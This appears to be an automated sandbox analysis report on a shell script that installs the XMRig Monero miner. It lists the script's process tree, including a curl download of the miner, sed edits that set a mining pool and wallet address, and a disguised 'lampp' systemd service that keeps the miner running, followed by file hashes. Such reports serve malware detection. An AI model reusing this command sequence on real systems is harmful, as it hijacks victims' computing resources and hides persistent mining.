Analysis

  • max time kernel
    4s
  • max time network
    1005s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 12:10

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2447
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2451
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2452
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2455
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2456
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
            • Reads runtime system information
            PID:2474
          • /usr/bin/tar
            tar xf /tmp/xmrig.tar.gz -C /root/lampp
            2⤵
              PID:2475
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:2476
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:2476
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:2476
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:2476
                    • /usr/bin/rm
                      2⤵
                        PID:2477
                      • /usr/bin/sed
                        sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                        2⤵
                          PID:2478
                        • /root/lampp/xmrig
                          /root/lampp/xmrig --help
                          2⤵
                          • Executes dropped EXE
                          • Checks hardware identifiers (DMI)
                          • Reads hardware information
                          • Checks CPU configuration
                          • Reads CPU attributes
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:2479
                        • /usr/bin/hostname
                          hostname
                          2⤵
                            PID:2482
                          • /usr/bin/cut
                            cut -f1 -d.
                            2⤵
                              PID:2483
                            • /usr/bin/sed
                              sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                              2⤵
                                PID:2484
                              • /usr/bin/sed
                                sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                                2⤵
                                  PID:2485
                                • /usr/bin/sed
                                  sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                                  2⤵
                                    PID:2486
                                  • /usr/bin/sed
                                    sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-15\",/" /root/lampp/config.json
                                    2⤵
                                      PID:2487
                                    • /usr/bin/sed
                                      sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                      2⤵
                                        PID:2488
                                      • /usr/bin/sed
                                        sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                        2⤵
                                          PID:2489
                                        • /usr/bin/sed
                                          sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                          2⤵
                                            PID:2490
                                          • /usr/bin/sed
                                            sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                            2⤵
                                              PID:2491
                                            • /usr/bin/cp
                                              cp /root/lampp/config.json /root/lampp/config_background.json
                                              2⤵
                                                PID:2492
                                              • /usr/bin/sed
                                                sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                                2⤵
                                                • Reads runtime system information
                                                PID:2493
                                              • /usr/bin/cat
                                                cat
                                                2⤵
                                                  PID:2494
                                                • /usr/bin/chmod
                                                  chmod +x /root/lampp/miner.sh
                                                  2⤵
                                                    PID:2495
                                                  • /usr/bin/sudo
                                                    sudo -n true
                                                    2⤵
                                                    • Reads runtime system information
                                                    PID:2496
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:2497
                                                    • /usr/bin/grep
                                                      grep MemTotal /proc/meminfo
                                                      2⤵
                                                        PID:2499
                                                      • /usr/bin/awk
                                                        awk "{print \$2}"
                                                        2⤵
                                                          PID:2500
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:2501
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:2502
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                                PID:2503
                                                            • /usr/bin/sudo
                                                              sudo killall xmrig
                                                              2⤵
                                                                PID:2504
                                                                • /usr/bin/killall
                                                                  killall xmrig
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:2505
                                                              • /usr/bin/sudo
                                                                sudo systemctl daemon-reload
                                                                2⤵
                                                                • Reads runtime system information
                                                                PID:2506
                                                                • /usr/bin/systemctl
                                                                  systemctl daemon-reload
                                                                  3⤵
                                                                  • Reads runtime system information
                                                                  PID:2507
                                                              • /usr/bin/sudo
                                                                sudo systemctl enable lampp.service
                                                                2⤵
                                                                  PID:2632
                                                                  • /usr/bin/systemctl
                                                                    systemctl enable lampp.service
                                                                    3⤵
                                                                      PID:2633
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl start lampp.service
                                                                    2⤵
                                                                    • Reads runtime system information
                                                                    PID:2764
                                                                    • /usr/bin/systemctl
                                                                      systemctl start lampp.service
                                                                      3⤵
                                                                        PID:2765

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  • /root/lampp/config.json

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    f3294129e6b76283965ad86a815bf383

                                                                    SHA1

                                                                    5fe0ab538f86962efe82cb13fc2da745610740af

                                                                    SHA256

                                                                    578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                    SHA512

                                                                    07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                  • /root/lampp/miner.sh

                                                                    Filesize

                                                                    253B

                                                                    MD5

                                                                    f96a321a262287ceae164f23f232ed9c

                                                                    SHA1

                                                                    d1eeab41f244b42377afd7cc3de7428736162b24

                                                                    SHA256

                                                                    f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                    SHA512

                                                                    75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                  • /root/lampp/sed0rCO1e

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    8b11b027dd187104473ee7d661ffe25f

                                                                    SHA1

                                                                    ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                    SHA256

                                                                    984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                    SHA512

                                                                    1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                  • /root/lampp/sedCtJHRc

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    23d3761f999ca437924ad8e2a4107152

                                                                    SHA1

                                                                    59fd3a18e3fa13d75e0f1f8a6e92ab74eae56bd1

                                                                    SHA256

                                                                    e71bae919e0a247f17cbf7223ee798a18db9a7c1ac59f50011cafe5e25300353

                                                                    SHA512

                                                                    3b160fb545ca018c3ee2e6d43a8b2da14fb934ebb0f79d8ba1c8e9cf279293c746e6ee51e38eb7a9d49aaeed67a48a526ce8e77e683dd03d7caa1450d521bc36

                                                                  • /root/lampp/sedDpp1qV

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    cac763a5252c41bdc3e17c0d46c489e1

                                                                    SHA1

                                                                    cd32003639c71108a0e3b2e97f35a8b8f6ed9191

                                                                    SHA256

                                                                    766c8046e18f7cf18ff29df7ac187fc5a9c1b3e36a5dae06a1e87d94de094baa

                                                                    SHA512

                                                                    1a4483b659325f53c351caec534265075872e1339e55971a549a8ac4031ad268d9c33fe00ae2c74a57445e9294889c810bf9b5e1274fb173c153673ea00511ec

                                                                  • /root/lampp/sedU9Wnxe

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    926477ce917923c048f3cc93f278af77

                                                                    SHA1

                                                                    aa8903779dab4c0918a429f0ae51a9bf0109e125

                                                                    SHA256

                                                                    f2abb29d9b9545d6320c6551b67c599a10a0fae4441483d9984668a3c8777ad6

                                                                    SHA512

                                                                    36c37bc02c3b34ba892a2fbd7095137b4bd861b4a1905b8e24cad23742c94eb31e5e7f532776f6d9f4a4e75b202908985bbcae7b8116bc747bc8b0e4406cb4f0

                                                                  • /root/lampp/sedUcX7Ry

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    56cc076707e3707e17f51d95cd047f55

                                                                    SHA1

                                                                    7fdf44957cce5e87e11ef1a6b1710aeae0b9084c

                                                                    SHA256

                                                                    4f2a148f7e51b550471d0e8329a68844aeb4f49db5958a558b1cd99a1347458e

                                                                    SHA512

                                                                    365646064c35b8c5cb8772ead0f790d845d59d7f55b047dff466356ea4b5fd3ae9baf817f6c71158fba76b528fc9ca29a9eb9d81779bdd0a02e83d01bdc32ee7

                                                                  • /root/lampp/sedih8Ebb

                                                                    Filesize

                                                                    2KB

                                                                    MD5

                                                                    d489ddbbb83271e967b8af615d17d3c7

                                                                    SHA1

                                                                    f0394a367a60e9727269882154098dec802774ef

                                                                    SHA256

                                                                    5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                    SHA512

                                                                    aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                  • /root/lampp/xmrig

                                                                    Filesize

                                                                    8.4MB

                                                                    MD5

                                                                    b6c3f6075993ebad4b4a3818fbf4d3f2

                                                                    SHA1

                                                                    ffcd977abdfdf9ab3beeffc17b754cce7dd423e3

                                                                    SHA256

                                                                    29eaa9c9f80bb92c6d9eecb8554cf2a3aa0732481058a94cce9972d208131738

                                                                    SHA512

                                                                    68a7428de23b6312c477389996ddd3f79e0af8a5ddbf4b1b336d6961ec22f9e37753377200941b0b182913162c3079753b1c52a490f739d01a532af1028d6af2

                                                                  • /tmp/lampp.service

                                                                    Filesize

                                                                    177B

                                                                    MD5

                                                                    540c899b78585827e807a62f7345eaf5

                                                                    SHA1

                                                                    8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                    SHA256

                                                                    b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                    SHA512

                                                                    0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                  • /tmp/xmrig.tar.gz

                                                                    Filesize

                                                                    3.4MB

                                                                    MD5

                                                                    e003a3ec8bdd61151a61cadf950502c4

                                                                    SHA1

                                                                    2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                    SHA256

                                                                    80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                    SHA512

                                                                    ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9